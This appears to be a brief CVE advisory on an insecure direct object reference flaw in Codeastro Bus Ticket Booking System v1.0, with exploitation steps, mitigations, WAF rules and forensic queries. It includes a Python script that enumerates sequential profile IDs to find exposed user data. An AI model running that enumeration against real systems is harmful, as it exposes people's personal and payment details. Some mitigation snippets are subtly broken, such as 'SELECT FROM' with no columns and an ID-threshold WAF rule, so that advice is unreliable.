How CVE-2025-25777 Works
The vulnerability exists in Codeastro Bus Ticket Booking System v1.0 due to improper access control. The application exposes user profiles via a direct object reference (e.g., /profile.php?id=123). Attackers can manipulate the `id` parameter to access arbitrary user profiles without authorization. The lack of server-side validation allows unauthorized data exposure, including personal details, booking history, and payment information. This flaw stems from missing session-based checks or role-based access controls (RBAC) when fetching user data.
DailyCVE Form
Platform: Codeastro Bus Booking
Version: v1.0
Vulnerability: IDOR Exploit
Severity: Critical
Date: 05/28/2025
Prediction: Patch by 06/15/2025
What Undercode Say:
Exploitation:
1. Manual Testing:
GET /profile.php?id=VictimID HTTP/1.1 Host: vulnerable-site.com
2. Automated Script (Python):
import requests
for uid in range(1000, 1005):
r = requests.get(f"http://vulnerable-site.com/profile.php?id={uid}")
if "Personal Details" in r.text:
print(f"Exposed Profile: {uid}")
Mitigation:
1. Input Validation:
if ($_SESSION['user_id'] != $_GET['id']) {
die("Unauthorized");
}
2. Role-Based Checks:
SELECT FROM profiles WHERE user_id = ? AND role = 'customer'
3. Web Server Rules (Apache):
<LocationMatch "/profile.php"> Require valid-user </LocationMatch>
Detection Tools:
- Burp Suite: Intercept/profile.php requests.
- OWASP ZAP: Automated IDOR scanning.
Post-Patch Verification:
curl -I "http://patched-site.com/profile.php?id=VictimID" | grep "403 Forbidden"
Threat Indicators:
- Unusual spikes in `/profile.php` access.
- Log entries with sequential ID brute-forcing.
Backend Hardening:
// Use prepared statements
$stmt = $conn->prepare("SELECT FROM users WHERE id = ?");
$stmt->bind_param("i", $_SESSION['user_id']);
WAF Rules (ModSecurity):
SecRule ARGS:id "@gt 1000" "id:1001,deny,msg:'IDOR Attempt'"
Forensic Analysis:
SELECT FROM access_logs WHERE endpoint LIKE '%profile.php%' ORDER BY timestamp DESC;
